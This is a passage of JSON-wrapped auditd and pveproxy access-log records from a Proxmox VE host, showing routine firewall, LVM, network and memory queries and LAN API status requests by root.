key=\"exec\""} {"@timestamp":1781965498302,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964584922,"@rawstring":"node=pve type=EXECVE msg=audit(1781964584.922:61633): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965675691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.691:66617): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc593c8740 a1=5ddef5170310 a2=5ddef5169680 a3=5 items=1 ppid=63984 pid=63985 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195515,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.515:68833): argc=1 a0=\"date\""} {"@timestamp":1781964996413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964996.413:63546): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964267635,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964184888,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964184.888:59935): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be910 a1=64f8d740c880 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57554 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.494:68829): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66095 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965498302,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:57 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 900"} {"@timestamp":1781964584697,"@rawstring":"node=pve type=EXECVE msg=audit(1781964584.697:61630): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965673914,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965673.914:66607): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63974 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195510,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.510:68831): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964995486,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.486:63542): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc35e27ae0 a1=61af1d9c7310 a2=61af1d9c0680 a3=5 items=1 ppid=60965 pid=60966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964264600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964184847,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964184.847:59934): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382ad0 a1=64f8d73b0af0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195487,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.487:68828): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada680 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66094 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965497190,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964584669,"@rawstring":"node=pve type=EXECVE msg=audit(1781964584.669:61629): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965673914,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965673.914:66606): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63974 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195502,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.502:68830): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964995406,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.406:63524): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd328534f0 a1=5cc6f37b2310 a2=5cc6f37ab680 a3=5 items=1 ppid=60946 pid=60947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964264600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 842"} {"@timestamp":1781964183219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964183.219:59933): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195476,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.476:68827): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bd20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66093 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965497190,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 909"} {"@timestamp":1781964579911,"@rawstring":"node=pve type=EXECVE msg=audit(1781964579.911:61628): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965673906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965673.906:66604): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195494,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.494:68829): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964991406,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964991.406:63514): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964263582,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964183212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964183.212:59930): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195467,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.467:68826): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4240 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66092 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965496085,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 496"} {"@timestamp":1781964579900,"@rawstring":"node=pve type=EXECVE msg=audit(1781964579.900:61625): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965673905,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965673.905:66603): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195487,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.487:68828): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964991406,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964991.406:63513): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964259648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964178206,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964178.206:59927): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966194203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966194.203:68825): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c0ac0 a1=64f8d7418420 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66091 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965496085,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964579800,"@rawstring":"node=pve type=EXECVE msg=audit(1781964579.800:61622): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965668900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965668.900:66601): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195476,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.476:68827): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964991393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964991.393:63511): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964259648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964178195,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964178.195:59924): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966194172,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966194.172:68824): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74148d0 a1=64f8d5325b60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965496085,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781964579800,"@rawstring":"node=pve type=EXECVE msg=audit(1781964579.800:61621): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781965668900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965668.900:66600): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195467,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.467:68826): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964991393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964991.393:63510): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964258660,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964175228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.228:59921): arch=c000003e syscall=59 success=yes exit=0 a0=5748174f2ed0 a1=5748174efc50 a2=5748174d1680 a3=5 items=2 ppid=57538 pid=57544 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966190741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966190.741:68823): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66087 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965494979,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964579798,"@rawstring":"node=pve type=EXECVE msg=audit(1781964579.798:61620): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781965668890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965668.890:66598): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63971 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966194203,"@rawstring":"node=pve type=EXECVE msg=audit(1781966194.203:68825): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964986381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964986.381:63508): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964256638,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964175225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.225:59920): arch=c000003e syscall=59 success=yes exit=0 a0=5747f2027ac8 a1=7ffd3df3f6e0 a2=5748174d1680 a3=5747f200b24e items=2 ppid=57538 pid=57540 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966190732,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966190.732:68820): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66086 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965494979,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964575961,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.961:61619): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965668890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965668.890:66597): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63971 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966194172,"@rawstring":"node=pve type=EXECVE msg=audit(1781966194.172:68824): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964986381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964986.381:63507): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964255618,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964175224,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.224:59919): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd3df3f6a0 a1=5748174d8310 a2=5748174d1680 a3=5 items=2 ppid=57538 pid=57539 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185725,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.725:68817): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66085 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965494979,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781964575958,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.958:61618): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965665604,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.604:66593): arch=c000003e syscall=59 success=no exit=-2 a0=7fff97e09190 a1=63b6e81a9310 a2=63b6e81a2680 a3=5 items=1 ppid=63964 pid=63965 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966190741,"@rawstring":"node=pve type=EXECVE msg=audit(1781966190.741:68823): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964986376,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964986.376:63505): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964252598,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964175219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.219:59917): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185720,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.720:68814): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66084 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965494979,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964575957,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.957:61617): argc=1 a0=\"date\""} {"@timestamp":1781965665436,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.436:66575): arch=c000003e syscall=59 success=no exit=-2 a0=7fffda025290 a1=63040d9b9310 a2=63040d9b2680 a3=5 items=1 ppid=63945 pid=63946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966190732,"@rawstring":"node=pve type=EXECVE msg=audit(1781966190.732:68820): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964986376,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964986.376:63504): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964252598,"@rawstring":"::ffff:192.168.1.192 - root@pam 